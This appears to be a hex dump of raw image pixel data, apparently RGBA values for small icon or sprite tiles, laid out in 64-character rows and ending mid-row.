FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF585BB0FF6369F3FF6167EFFF6065
EFFF6366E9FF3434D8FF4444DCFF6367EDFF6167EFFF6167EFFF6167EFFF6167
EFFF6066EFFF5F65EEFF6065F5FF666899FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDBC5C5FFCFB1B1FF8F4B4BFFCDB0B0FFCEB2B2FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFFC4C4BBFFFFFFFFFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA2A49FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF666AB3FF7B83FAFF7B83F6FF7981
F4FF797CEEFF3636D9FF4D4DDEFF7980F2FF777DF4FF777DF4FF777DF4FF777D
F4FF777DF5FF767CF3FF777DFBFF6E709BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDFCCCCFFD2B9B9FF9A5C5CFFD5BBBBFFD0B6B6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF2F219AFF210BD0FF240DCAFF210D
C9FF1E09C8FF1D08C7FF1D09C7FF1D09C7FF1D09C7FF1D09C7FF1D09C7FF1E0A
C7FF1C07C7FF1C06C7FF1802D0FF4F478CFFC1C2BBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF976D4EFFCB8A53FFC88A53FFC686
4EFFF7D8ADFF5154E6FF989DF7FFDAA370FFC17D4DFFC38251FFC38251FFC382
51FFC38150FFC1804FFFC7844FFF8A7161FFC5BFB9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFDBB2A9FFD9AEA6FFD6ABA3FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA29F9DFF3D2F9EFF3922D7FF3B26D5FF3C28
D5FF3C28D5FF3926D2FF3520D1FF311DD0FF301DD0FF301DD0FF301DD0FF2F1C
D0FF2F1BD0FF2D19CFFF2C18D5FF564E8DFF352F9EFF3026D8FF3227D5FF3228
D4FF3429D4FF3429D4FF3429D4FF3429D4FF3128D5FF3026D3FF2E25D3FF2D25
D3FF2F25D3FF2F25D3FF2F25DAFF514F8EFF7C4521FFA44908FFA3490BFF9E42
04FFDEB086FF575BECFF9AA1FDFFBC7338FFA0470AFFA1480DFFA1470DFFA147
0DFFA1470CFFA1490AFFA74B08FF7A5A47FF3B7AB9FF3CA3FFFF3CA1FFFF3EA1
FFFF40A2FFFF3FA2FFFF44A9FFFF45ABFFFF42A8FFFF3CA0FFFF3BA0FFFF3B9F
FFFF3B9FFFFF3BA0FFFF3DA4FFFF56789DFF3F309EFF3C26D8FF3E28D6FF3F2A
D6FF3F2BD6FF3F2BD6FF3F2BD6FF3F2CD6FF3E2AD5FF3C28D5FF3B28D3FF3B27
D3FF3C27D5FF3C26D5FF3E26DBFF564F8FFF423BA0FF443CDCFF463DD8FF473E
DAFF483FDAFF483FDAFF483FDAFF483FDAFF483FDAFF483FDAFF483FDAFF483F
DAFF473EDAFF463CD8FF453CDFFF58558FFF7D4A25FFAA5110FFA65213FFA34A
09FFE0B589FF575BEBFF9BA1FDFFC0773DFFA64F12FFA85317FFA85317FFA853
16FFA85315FFA75113FFAB520FFF7A5C49FF437EB9FF4BABFFFF4BA8FFFF4CAA
FFFF4DA9FFFF4DA9FFFF4DA9FFFF4DA9FFFF4DA9FFFF4DAAFFFF4EAAFFFF4EAA
FFFF4DAAFFFF4AA8FFFF4BADFFFF5A7A9CFF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF403AA1FF453CDEFF453CDAFF463D
DAFF473DDAFF473DDAFF473DDAFF473DDAFF473DDAFF473DDAFF473DDAFF473D
DAFF463DDAFF443CDAFF453BE1FF57558EFF804823FFAB510BFFA9510EFFA44A
05FFE0B487FF575CEEFF9AA1FEFFBF7739FFA64F0BFFA85211FFA85211FFA852
11FFA95210FFA9510EFFAD520AFF7B5B47FF4581B8FF4BACFFFF4BAAFFFF4CAB
FFFF4DABFFFF4DABFFFF4DABFFFF4DABFFFF4DABFFFF4DABFFFF4DABFFFF4DAB
FFFF4CABFFFF4BAAFFFF4CAFFFFF58799BFF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF4844A7FF6057E2FF5C55E0FF5D56
E0FF5D56E0FF5D56E0FF5D56E0FF5D56E0FF5D56E0FF5D56E0FF5D56E0FF5D56
E0FF5D56E0FF5C55E0FF5E56E2FF64619DFF854F30FFB76A33FFB36631FFAF60
2AFFE6C09AFF6C6FF0FFA9AFFFFFC88A56FFB2642EFFB46733FFB46733FFB467
33FFB36733FFB36631FFB56932FF896855FF4B85BFFF62B7FFFF61B3FFFF61B4
FFFF60B4FFFF62B4FFFF62B4FFFF62B4FFFF62B4FFFF62B4FFFF62B4FFFF60B4
FFFF61B3FFFF60B3FFFF63B6FFFF6589ABFF453AA5FF5B47E0FF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0
C0FFBFC0C0FFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC1C0C0FFFFFFFFFF4662B3FF456FFCFF456FF7FF446E
F7FF466EF7FF466EF7FF466EF7FF466EF7FF466EF7FF466EF7FF466EF7FF466E
F7FF456EF7FF456FF7FF4671FEFF5C6D9BFF2FB9BEFF1BFFFFFF1BFFFFFF1CFF
FFFF1CFFFFFF1DFFFFFF1BFFFFFF2AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9BA0A2FF9D8329FFDBA810FFD6A611FFD7A5
12FFD7A512FFD7A512FFD7A512FFD7A512FFD7A512FFD7A512FFD7A512FFD7A5
12FFD7A611FFD6A610FFDDAA10FF8D804CFF2365BFFF067CFFFF0579FFFF0679
FFFF077AFFFF077AFFFF077AFFFF077AFFFF077AFFFF0377FFFF067AFFFF077A
FFFF0679FFFF0679FFFF0680FFFF496EA0FF4650ADFF404DE5FF424FE2FF434E
E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350E2FF4350
E2FF434FE2FF424DE2FF414EE8FF5B639AFF2DBABDFF19FAFCFF1BF6F9FF1CF7
F9FF1CF7F9FF1CF7F9FF19F7F9FF28F7FAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A3A3FF9B6F28FFCA8310FFC78310FFC884
11FFC88413FFC88413FFC88413FFC88413FFC88413FFC88413FFC88413FFC884
13FFC88412FFC78311FFCD8510FF8E764AFF244EBEFF0950FFFF0B51FEFF0D52
FEFF0248FFFF003FFFFF0043FFFF0A4FFFFF044BFFFF366EFFFF064AFFFF0C51
FEFF0C52FEFF0B51FEFF0950FFFF4A63A0FF453FA6FF3E35DEFF4036DAFF4137
DCFF4038DBFF4238DBFF4238DBFF4238DBFF4238DBFF4238DBFF4238DBFF4038
DBFF4137DCFF3E36DAFF3E34E0FF5B5A95FF2CB6B8FF16F8FBFF18F6F8FF18F6
F7FF1AF6F7FF1AF6F7FF17F5F9FF25F5F7FFFFFFFFFFFFFFFFFFFFFFFFFFB8B7
E6FFE6E5F6FFFFFFFFFFFFFFFFFF9DA0A1FF955F25FFC4670CFFC0680EFFC269
0FFFC2690FFFC26A0FFFC26A0FFFC26A0FFFC26A0FFFC26A0FFFC26A0FFFC269
0FFFC2690FFFC1680EFFC5680BFF8A6B4BFF243ABBFF0A2FFFFF0C2FFEFF0328
FDFF95A6FFFFFFFFFFFFCFD8FFFF0F31FFFF1B3EFFFFF9FAFFFF8395FFFF0328
FDFF0E32FEFF0C30FEFF092FFFFF4A569DFF4132A2FF3C1FD9FF3E22D7FF3E23
D6FF4024D6FF3F24D6FF3C1DDBFF3D1DDDFF3D1DDDFF3B1CDBFF4024D6FF4024
D6FF3F23D6FF3C21D5FF3C1FDBFF5B5191FF29B5B6FF13F7FBFF14F5F6FF17F4
F8FF16F4F8FF16F4F8FF13F4F7FF23F4F8FFFFFFFFFFE2F9F9FFE8F1F5FF9C8F
D8FFCAC4EAFFF5F4F8FFFFFFFFFF9E9E9EFF904D1FFFBF5105FFBD5108FFBD52
09FFBE5710FFBD520AFFBD520AFFBD520AFFBD520AFFBD520AFFBD530BFFBE57
10FFBD5209FFBD5007FFC15205FF876248FF2429B9FF0A13FFFF0D16FEFF0B15
FDFF0C15FFFFFFFFFFFFE7E7FFFFC7C8FFFFB6B7FFFFD6D8FFFFBFC1FFFF0009
FDFF0E17FEFF0C15FEFF0912FFFF4A4C9DFF422C9EFF3B16D7FF3C19D4FF3D1A
D5FF3E1BD5FF3B15DAFF59708EFF506E85FF4F6E84FF617791FF3913DAFF3E1B
D5FF3D1AD5FF3B18D4FF3B16DAFF5A4E8FFF29B3B4FF11F8FBFF13F5F6FF14F5
F8FF15F5F8FF17F5F8FF14F4F8FF22F4F6FFFFFFFFFF52E3E4FF7CCDDFFFC0A6
E2FFE0DBF1FFD2D0DEFFF7F7F6FF9E9E9EFFBEC4C8FFFFFFFFFFFFFFFFFFFFFF
FFFFEBCFBDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0D7
CAFFFFFFFFFFFFFFFFFFFFFFFFFF9EA3A5FF2423B8FF0A08FFFF0D0BFEFF0C0D
FDFF0000FFFF4D4DFFFF8A8AFFFFE2E2FFFF6E6DFFFFFFFFFFFF6968FFFF0504
FDFF0E0CFEFF0C0AFEFF0907FFFF4A499CFF3F2CA8FF3A1AE6FF361BE2FF361A
E1FF361CE2FF2A0CE1FFE4E0E3FF434F6FFF424C6DFFF1F0E7FF290ADFFF371C
E2FF371BE1FF3519E1FF3316E6FF584D94FF2AB3B4FF15F7FBFF14F5F6FF15F5
F8FF17F5F8FF17F5F8FF14F4F8FF22F4F6FFFFFFFFFFD2F7F8FF8AFAF4FF3686
CCFFDAC7E1FFFCFAF6FFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFEFF
FFFFEDD2C1FFFEFFFFFFFFFFFFFFF0D9CBFFF6EBE4FFFFFFFFFFFCF8F5FFF0D8
C9FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2525B8FF0C0CFFFF0C0CFEFF0101
FDFFCACAFFFFFFFFFFFFBFBFFFFF1919FFFF8B8BFFFF8888FFFF2F2FFFFF0000
FDFF0909FEFF0C0CFEFF0909FFFF4A4A9CFF873820FFB43100FFB33300FFB132
00FFAF2E00FFA61B00FFFDFFFFFFB9C0AFFFBFC4B7FFFFFFFFFFA71A00FFAE2D
00FFAD2C00FFAD2B00FFB22900FF805447FF2AB3B4FF18F9FCFF1AF4F8FF1AF4
F8FF15F5F8FF16F5F8FF13F4F8FF22F4F6FFFFFFFFFFFFFFFFFFEBF7F5FFB6BA
DDFF88D8E4FFE7FAF9FFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFE9C7B3FFFFFFFFFFFFFFFFFFF0D8CAFFFAF2EEFFFFFFFFFFFCFCFAFFEDCE
BEFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2424B8FF0E0EFFFF0505FDFF9898
FDFFDCDCFFFFFFFFFFFF4040FFFF5757FFFF8585FFFFF7F7FFFFEEEEFFFFD1D1
FDFF3838FEFF0707FEFF0909FFFF4A4A9CFF833925FFAC330FFFA93512FFAB37
14FFAB3715FFA62B0AFFD08E7CFFB97B64FFAB6D54FFD19082FF9F2105FFA22A
0EFFA3290DFFA1270BFFA62809FF7D5449FF2BB3B4FF1AF9FCFF1BF6F8FF1EF6
F8FF1FF4F7FF1DF4F7FF16F4F7FF22F4F6FFFFFFFFFFF9F2F1FF78DBDCFF8FE4
E2FF5ADCDDFF06D7DAFFD6FFFFFFA09E9EFFBCBFC4FFFFFFFFFFFFFFFFFFFFFF
FFFFF0D6C9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0DB
CFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA2A2FF2424B9FF0F0FFFFF0404FFFFBEBE
FFFFC7C7FFFF6262FFFFCFCFFFFFCACAFFFF8282FFFFFFFFFFFFFFFFFFFFB0B0
FDFF0000FEFF0A0AFEFF0A0AFFFF49499CFF843A26FFAE3610FFAC3813FFAD3A
16FFAD3A17FFAD3A17FFA9320DFFAB330FFFAA330EFFA62E0AFFAB3615FFA936
15FFAB3614FFAB3712FFB1370FFF7D5449FF2BB3B4FF1CF9FCFF1FF6F8FF20F6
F7FF21F6F9FF22F6F9FF1FF6F9FF2EF6F8FFFFFFFFFFFBF5F5FF6ED9DCFF5EDB
DCFF85DEDFFF69D8DAFFE7FFFFFF9E9E9EFF8F4520FFC04B00FFBC4D00FFBE4E
00FFC05206FFBF4E01FFBF4D00FFBF4E00FFBE4C00FFBC4A00FFBD4900FFBE4C
03FFBB4A00FFBD4A00FFC34C00FF855B47FF2525B9FF1010FFFF1111FFFF1414
FFFF0606FFFF0000FFFFF9F9FFFFD5D5FFFF9E9EFFFF0000FFFF0D0DFFFF0606
FDFF1414FEFF1212FEFF1010FFFF4A4A9CFF833A25FFB03810FFAE3A13FFAF3B
15FFAF3C16FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C
16FFAF3B15FFAE3913FFB2390FFF7E5449FF2CB3B4FF1DF8FCFF20F6F7FF21F6
F7FF22F6F7FF22F6F7FF1FF5F7FF2EF5F8FFFFFFFFFFFFFFFFFFFFFFFFFFAAE7
E8FFDEF4F4FFFFFFFFFFFFFFFFFF9E9E9EFF925125FFC75F10FFC55F13FFC660
15FFC66116FFC66117FFC66117FFC66117FFC66117FFC66117FFC66117FFC661
16FFC66015FFC55F13FFCA600FFF876149FF2424B9FF1010FFFF1313FFFF1313
FFFF1717FFFF0D0DFFFF7676FFFFFFFFFFFF6969FFFF0D0DFFFF1616FFFF1616
FDFF1515FEFF1313FEFF0F0FFFFF49499CFF853923FFB1380BFFAF380EFFB03A
10FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A
11FFB03910FFAF380EFFB3380AFF7D5447FF2AB5B6FF1AFAFEFF1CF6F9FF1EF6
F9FF1FF6F9FF1FF6F9FF1CF6F9FF2BF7F9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF935123FFC8600BFFC75E0EFFC75F
10FFC76011FFC76011FFC76011FFC76011FFC76011FFC76011FFC76011FFC760
11FFC75F10FFC65E0EFFCB600AFF866047FF2222B9FF0B0BFFFF0E0EFEFF1010
FEFF1111FFFF1111FFFF0101FFFF4D4DFFFF4F4FFFFF0B0BFFFF1111FFFF1111
FEFF1010FEFF0E0EFEFF0A0AFFFF48489BFF8A422FFFBD5433FFB95231FFB953
33FFB95333FFB95433FFB95433FFB95433FFB95433FFB95433FFB95433FFB953
33FFB95333FFB95231FFBD5432FF8B6055FF34BABBFF3FFDFFFF3CF9FBFF3DF9
FBFF3DF9FCFF3FF9FCFF3CF9FCFF48FAFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF9A5830FFD17633FFCD7131FFCE73
33FFCE7233FFCE7233FFCE7233FFCE7233FFCE7233FFCE7233FFCE7233FFCE72
33FFCD7333FFCD7131FFD17432FF956D55FF2F2FBFFF3232FFFF3030FFFF3131
FFFF3232FFFF3232FFFF3232FFFF2C2CFFFF2C2CFFFF3232FFFF3232FFFF3232
FFFF3131FFFF3030FFFF3030FFFF5555ABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFB6B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF917AE5FF2536D3FF2535D2FF927BE5FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF5A72ADFF6690F4FF658DF0FF668C
EFFF658DEFFF658DEFFF658BF3FF6DA5C5FF83DF68FF81DA70FF81DA70FF81DA
6EFF82DA6FFF81D96EFF85E070FF70916DFF4A78B8FF489AFFFF4798FFFF4899
FFFF4891FFFF49EAFFFF48FFFFFF48FFFFFF48FFFFFF46FFFFFF5CFFE3FF7AE9
A5FF78EBABFF77ECAAFF7BF3AFFF6E9780FF89A48BFFCCFFBEFF8CDD70FF78D6
5EFF78D765FF7DD96CFF81DA70FF81DA70FF81DA70FF81DA70FF81DA70FF81DA
6EFF82DA6FFF81D96EFF85E070FF70916DFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF8E69D9FF18AAE5FF17B5E7FF8E69D9FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF505CA9FF5060DFFF5060DCFF5161
DCFF5060DCFF5260DDFF505DE2FF577EA8FF6EC541FF6DBF4AFF6DBF4AFF6DBF
4BFF6DBF49FF6CBE49FF6CC249FF6D8C62FF3E64B7FF316EF6FF336EF4FF326E
F4FF3466F3FF35D4FBFF34FFFFFF34FFFFFF34FFFFFF31FFFFFF48EDD0FF68D2
88FF65D58FFF64D58EFF63DA90FF6A967AFF425281FF437673FF9DEEFFFFC2FA
F2FFC8E2A8FF8FC961FF63B835FF65BA3DFF68BC44FF6CBE49FF6DBF4AFF6DBF
4BFF6DBF49FF6CBE49FF6CC249FF6D8C62FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF8D69D9FF1A8EDEFF199AE1FF8E69D8FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4646A3FF403FD9FF4040D7FF4341
D6FF4242D6FF4442D6FF423EDCFF4C649DFF62B824FF60B12FFF60B12FFF61B1
2DFF5FB12EFF5EB02CFF5EB32BFF678556FF3151B3FF1F50F6FF2051F2FF2153
F2FF2248F0FF23CCFAFF22FFFFFF22FFFFFF22FFFFFF20FFFFFF38E9C8FF5ACA
73FF57CD7AFF56CB79FF56D17BFF638F71FF4646A8FF3E3BDBFF232A5BFF1C82
81FF33ECFFFF7BF0FFFFB6F0FAFFC7E2B1FF9CC863FF5EAC1EFF58AC1EFF59AD
24FF5DB02CFF5EB02CFF5EB32BFF678556FFC2C3BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF9270D9FF1990DFFF169AE1FF926FD9FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A3A0FF3B339EFF3323D5FF3525D6FF3627
D3FF3728D7FF3528D2FF3424D9FF405192FF58AF0BFF56A717FF56A717FF54A5
17FF55A516FF54A614FF54AA11FF62804DFF2640B1FF0E38F3FF1239EFFF123B
EFFF132EEEFF14C5FAFF13FFFFFF13FFFFFF13FFFFFF11FFFFFF2BE6C2FF50C0
64FF4CC46AFF4BC469FF4BC86BFF5F8A6AFF3B339EFF3323D6FF3625DFFF311B
B1FF161E30FF1AA5B3FF1EE7FFFF1AD7FFFF56E2FFFFA5F1FFFFBFE4C2FFADCC
6EFF61A917FF4A9F00FF4CA505FF617E4BFF6859A1FF7B63D9FF7A63D7FF7D56
D2FF7C56D4FF845DD5FF5519C4FF1E8EDFFF1D9BE1FF5518C4FF845DD5FF7C56
D4FF7D56D2FF7963D7FF7B65DCFF6F6790FF3A2C9DFF2D19D6FF2616A1FF321D
DDFF28199DFF321DD5FF3019D7FF3B488DFF54AB02FF52A30EFF52A30EFF51A2
0DFF50A20CFF4FA10AFF4FA507FF607C49FF2439B0FF082EF4FF0C2FF0FF0C30
F0FF0D23EEFF10C1F9FF0FFFFFFF0FFFFFFF0FFFFFFF0DFFFFFF26E5BFFF4BBD
5EFF47C165FF46C064FF45C664FF5D8866FF3A2C9DFF2C18D3FF2F1AD0FF311D
D4FF341BE1FF220672FF123A3BFF1FCDEBFF1EDFFFFF18D2FDFF11D0FFFF34DA
FFFF90EDFFFFB5E7DCFFBCD784FF6F8356FF352092FF2C00C1FF1E5DD3FF13B8
E8FF16AAE5FF16ABE5FF1BACE5FF19DCF2FF19DFF1FF1BACE5FF16ABE5FF16AB
E5FF13B5E7FF1B66D5FF2700C1FF534787FF3A2C9DFF321EDAFF2919A8FF080B
00FF1F1671FF331FDBFF301AD7FF3D4687FF55A400FF549B00FF549B00FF549C
